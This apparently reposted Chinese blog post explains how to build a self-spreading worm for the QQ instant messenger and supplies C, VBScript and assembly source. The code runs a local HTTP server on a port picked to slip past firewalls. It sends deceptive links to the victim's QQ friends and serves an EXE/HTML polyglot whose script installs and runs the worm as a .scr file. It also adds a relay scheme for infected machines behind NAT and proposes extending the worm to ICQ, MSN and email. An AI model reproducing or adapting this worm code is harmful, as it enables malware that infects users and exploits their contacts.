基于P2P思想QQ蠕虫的原理

    技术2022-05-11  156

    一、基于P2P思想QQ蠕虫的原理

      为了增强蠕虫的健壮性,这里提出一种新思路:每感染一台机器后,都会在本机创建一个最简单的http服务器,然后启动新线程,在新线程中寻找QQ的”发送消息“窗口,一旦找到,通过设置消息文本框的内容并控制”发送消息(&S)"按钮来达到发送欺骗性消息的目的。

      当对方收到消息,点击连接后,就会启动IE,IE和第一台机器的http服务器通信,下载html页面并执行其中的vbs代码,vbs将自身拷贝到机器上并运行,蠕虫完成一次传播。然后在新感染的机器上创建http服务器,再向他的好友发送消息。 主要代码如下(为节约篇幅,省略不必要的初始化和错误判断):

      1. http服务器的实现

       LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);   saServer.sin_family = AF_INET;   saServer.sin_port = htons(5058);   saServer.sin_addr.s_addr = INADDR_ANY;   bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));   listen(LisenSocket, SOMAXCONN);   CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);   while(TRUE)   {    peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen);SendFile();   }   void SendFile()   {    BYTE buf[1024];    DWORD ByteRead;    ::SetFilePointer(hFile,0,0,FILE_BEGIN);    ReadFile(hFile,buf,1024,&ByteRead,0);    while(ByteRead)    {       send(peerSocket,(const char *)buf,ByteRead,0);       ReadFile(hFile,buf,1024,&ByteRead,0);    }    closesocket(peerSocket);    }

      服务器在5058端口阻塞等待,不使用80,是避免防火墙对80号端口的敏感和限制。接受到来自远程的连接(由ie做客户端)后,把html文件传送过去,关闭连接。

      2. 操作QQ线程的实现  

      1) 获得本机IP地址。

      2) 等待出现“发送消息”窗口。

      3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发送过,如果是,则转1),不是则发送,并在注册表中登记。

      4) 获得文本区句柄,设置新的消息。  5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。

      DWORD WINAPI SendQQMsg(LPVOID lpParameter)  {    HKEY  hKey;    char  buf[256];    HWND  hWnd,hTextWnd,hWndQQNumber,hWndButton;    char  QQRoot[]= "SoftwareQQNums";    char  QQRootNumber[128];    int  QQNumberID=0x0DF;     POINT p={50,280};    struct hostent * lpHostEnt;    char  szLocalIP[30];  //形如http://202.118.224.2:5058    gethostname(buf,256);    lpHostEnt = ::gethostbyname (buf);    struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;    ::lstrcpy(szLocalIP,"http://");    ::lstrcat(szLocalIP,inet_ntoa(*ia));    ::lstrcat(szLocalIP,":5058");    while(TRUE)    {        ::Sleep(1000);        hWnd = ::FindWindow(0,"发送消息");        if(hWnd==NULL)            continue;        hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);         if(hWndQQNumber==NULL)            continue;        ::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);        ::lstrcpy(QQRootNumber,QQRoot);        ::lstrcat(QQRootNumber,buf); if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)       {RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);          hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);          ::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);          hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");          ::SendMessage(hButton,BM_CLICK,0,0);          }    }    return 1;}

      3. 发送html页面的实现.

      因为IE识别的是html,而不能执行exe.所以,html要包含exe.然后利用html内嵌的vbs,生成并运行exe,从而达到传播的目的。

      可是,对exe编码和解码具有一定的难度,如何才能使代码最简练,最节约空间呢?这里给出一种新思路。把exe和html硬编码到一个文件,就相当于将exe文件指针移动到末尾,然后将html文件写到exe之后。这样,当文件扩展名是exe时,就执行exe(因为文件确实是PE结构),扩展名是html时,就当作html解释,此时exe内容就是乱码,显示在ie窗口之中。如下:

        db /'<HTML><HEAD><TITLE>hi</TITLE>/'    db /'<SCRIPT LANGUAGE="VBScript">/'    db /'<!--/',0dh,0ah    db /'Set fso = CreateObject("Scripting.FileSystemObject")/',0dh,0ah    db /'sf=fso.GetSpecialFolder(1)/',0dh,0ah    db /'sf=sf & "//PurpleMood.scr"/',0dh,0ah    db /'tif=fso.GetSpecialFolder(2)/',0dh,0ah    db /'tif=Left(tif , Len(tif)-4)/',0dh,0ah    db /'tif=tif & "Temporary Internet Files//Content.IE5"/',0dh,0ah    db /'Set tif = FSO.GetFolder(tif)/',0dh,0ah    db /'GenerateAllFolderInformation(tif)/',0dh,0ah    db /'Set WshShell = CreateObject("WScript.Shell")/',0dh,0ah    db /'WshShell.Exec(sf)/',0dh,0ah    db /'Function GenerateFolderInformation(Folder)/',0dh,0ah    db /'Set Files = Folder.Files/',0dh,0ah    db /'For Each File In Files/',0dh,0ah    db /'if StrComp("beautygirl[1].html",File.Name,1) = 0 Then/',0dh,0ah    db /'fso.CopyFile File.path,sf/',0dh,0ah    db /'End if/',0dh,0ah    db /'Next/',0dh,0ah    db /'End Function/',0dh,0ah    db /'Function GenerateAllFolderInformation(Folder)/',0dh,0ah        db /'Set SubFolders = Folder.SubFolders/',0dh,0ah    db /'For Each SubFolder In SubFolders/',0dh,0ah    db /'GenerateFolderInformation(SubFolder)/',0dh,0ah    db /'Next/',0dh,0ah    db /'End Function/',0dh,0ah    db /'-->/'    db /'</SCRIPT></HEAD><BODY>Thank you for test it!</BODY></HTML>/'

      容易看出,html代码只是exe中的一段数据。exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。

      二、局限性与解决方案

      如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。  

      基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为其他机器找不到它的ip.它无法作为服务器。

      解决方法如下:

      1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.

      2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。  3.这样,当机器处于内网时,会向好友发出http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:

      IsActiveIP    PROC  IP   : DWORD    LOCAL  VSocket  : DWORD    push   ecx    push   IPPROTO_TCP    push   SOCK_STREAM    push   AF_INET    call   socket    mov   VSocket,eax    push   IP    pop   TestIP  push   sizeof(sockaddr) ; Size of connect strucure=16    call   IAI1       ; Connect structure  dw    AF_INET      ; Family db    0,80       ; Port number,avoid htons :)TestIP dd    0         ; in_addr of server  db    8 dup(0)     ; UnusedIAI1: push   VSocket  call   connect      ;ret 0 if sucess    push   eax    push   VSocket  call   closesocket    pop   eax    pop   ecx  ret   4IsActiveIP    ENDPSelectTrueIP:      push  64    pop   ecx    mov   esi , offset TrueIPListSTI1:  lodsd            push  eax    call  IsActiveIP       ;ret 0 if sucess    .if   eax  == 0                    sub  esi , 4        lodsd           jmp  STIExit    .else           loop STI1    .endif         xor   eax , eaxSTIExit:    retUpdateTrueIP  PROC  TrueIP : DWORD    push  64    pop   ecx    mov   esi , offset TrueIPListUT1:  lodsd    .if   eax == 0        push TrueIP        pop  [esi-4]        jmp  UTExit    .else        loop UT1            .endif    push  64    pop   ecx    mov   esi , offset TrueIPListUT2:      lodsd    push  eax    call  IsActiveIP      ;ret 0 if sucess    .if   eax  != 0              push TrueIP        pop  [esi-4]            jmp  UTExit    .else            loop UT1            .endifUTExit:        mov   eax , TrueIP    ret   4       UpdateTrueIP  ENDPTrueIPList   db  256 dup (0)  三、扩展 

      若把这种方法同时也应用到ICQ,MSN等IM软件,http服务器不变,只是查找发送消息窗口有所不同,但原理一样,只需要少量修改。再有一个SendMSNMsg和SendICQMsg线程即可。考虑到IM软件同时在线人数之多,再辅助以邮件等常规手段,传播速度十分可观。


    最新回复(0)